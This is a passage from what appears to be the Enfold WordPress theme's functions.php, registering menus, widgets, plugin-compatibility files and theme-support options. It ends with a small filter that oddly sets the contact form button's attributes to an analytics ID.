		global $avia_config, $wp_customize;

		add_theme_support('nav_menus');
		
		foreach($avia_config['nav_menus'] as $key => $value)
		{
			//wp-admin\customize.php does not support html code in the menu description - thus we need to strip it
			$name = (!empty($value['plain']) && !empty($wp_customize)) ? $value['plain'] : $value['html'];
			register_nav_menu($key, THEMENAME.' '.$name);
		}
	}

	$avia_config['nav_menus'] = array(	'avia' => array('html' => __('Main Menu', 'avia_framework')),
										'avia2' => array(
													'html' => ''.__('Secondary Menu', 'avia_framework').' <br/><small>('.__('Will be displayed if you selected a header layout that supports a submenu', 'avia_framework').' <a target="_blank" href="'.admin_url('?page=avia#goto_header').'">'.__('here', 'avia_framework').'</a>)</small>',
													'plain'=> __('Secondary Menu - will be displayed if you selected a header layout that supports a submenu', 'avia_framework')),
										'avia3' => array(
													'html' => __('Footer Menu <br/><small>(no dropdowns)</small>', 'avia_framework'),
													'plain'=> __('Footer Menu (no dropdowns)', 'avia_framework'))
									);

	avia_nav_menus(); //call the function immediatly to activate
}










/*
 *  load some frontend functions in folder include:
 */

require_once( 'includes/admin/register-portfolio.php' );		// register custom post types for portfolio entries
require_once( 'includes/admin/register-widget-area.php' );		// register sidebar widgets for the sidebar and footer
require_once( 'includes/loop-comments.php' );					// necessary to display the comments properly
require_once( 'includes/helper-template-logic.php' ); 			// holds the template logic so the theme knows which tempaltes to use
require_once( 'includes/helper-social-media.php' ); 			// holds some helper functions necessary for twitter and facebook buttons
require_once( 'includes/helper-post-format.php' ); 				// holds actions and filter necessary for post formats
require_once( 'includes/helper-markup.php' ); 					// holds the markup logic (schema.org and html5)

if(current_theme_supports('avia_conditionals_for_mega_menu'))
{
	require_once( 'includes/helper-conditional-megamenu.php' );  // holds the walker for the responsive mega menu
}

require_once( 'includes/helper-responsive-megamenu.php' ); 		// holds the walker for the responsive mega menu




//adds the plugin initalization scripts that add styles and functions

if(!current_theme_supports('deactivate_layerslider')) require_once( 'config-layerslider/config.php' );//layerslider plugin

require_once( 'config-bbpress/config.php' );					//compatibility with  bbpress forum plugin
require_once( 'config-templatebuilder/config.php' );			//templatebuilder plugin
require_once( 'config-gravityforms/config.php' );				//compatibility with gravityforms plugin
require_once( 'config-woocommerce/config.php' );				//compatibility with woocommerce plugin
require_once( 'config-wordpress-seo/config.php' );				//compatibility with Yoast WordPress SEO plugin


if(!current_theme_supports('deactivate_tribe_events_calendar'))
{
	require_once( 'config-events-calendar/config.php' );		//compatibility with the Events Calendar plugin
}

if(is_admin())
{
	require_once( 'includes/admin/helper-compat-update.php');	// include helper functions for new versions
}




/*
 *  dynamic styles for front and backend
 */
if(!function_exists('avia_custom_styles'))
{
	function avia_custom_styles()
	{
		require_once( 'includes/admin/register-dynamic-styles.php' );	// register the styles for dynamic frontend styling
		avia_prepare_dynamic_styles();
	}

	add_action('init', 'avia_custom_styles', 20);
	add_action('admin_init', 'avia_custom_styles', 20);
}




/*
 *  activate framework widgets
 */
if(!function_exists('avia_register_avia_widgets'))
{
	function avia_register_avia_widgets()
	{
		register_widget( 'avia_newsbox' );
		register_widget( 'avia_portfoliobox' );
		register_widget( 'avia_socialcount' );
		register_widget( 'avia_combo_widget' );
		register_widget( 'avia_partner_widget' );
		register_widget( 'avia_google_maps' );
		register_widget( 'avia_fb_likebox' );
		register_widget( 'avia_instagram_widget' );
		
	}

	avia_register_avia_widgets(); //call the function immediatly to activate
}



/*
 *  add post format options
 */
add_theme_support( 'post-formats', array('link', 'quote', 'gallery','video','image','audio' ) );



/*
 *  Remove the default shortcode function, we got new ones that are better ;)
 */
add_theme_support( 'avia-disable-default-shortcodes', true);


/*
 * compat mode for easier theme switching from one avia framework theme to another
 */
add_theme_support( 'avia_post_meta_compat');


/*
 * make sure that enfold widgets dont use the old slideshow parameter in widgets, but default post thumbnails
 */
add_theme_support('force-post-thumbnails-in-widget');


/*
 * display page titles via wordpress default output
 */
function av_theme_slug_setup() 
{
   add_theme_support( 'title-tag' );
}

add_action( 'after_setup_theme', 'av_theme_slug_setup' );

/*title fallback*/
if ( ! function_exists( '_wp_render_title_tag' ) )
{
    function av_theme_slug_render_title() 
    {
	    echo "<title>" . avia_set_title_tag() ."</title>";
	}
	add_action( 'wp_head', 'av_theme_slug_render_title' );
}
    



/*
 *  register custom functions that are not related to the framework but necessary for the theme to run
 */

require_once( 'functions-enfold.php');


/*
 * add option to edit elements via css class
 */
// add_theme_support('avia_template_builder_custom_css');

add_filter('avf_contact_form_submit_button_attr','avia_add_submit_attributes_to_cf', 10, 3);
function avia_add_submit_attributes_to_cf($att, $formID, $form_params){
  $att = "UA-106756266-1";
  return $att;
}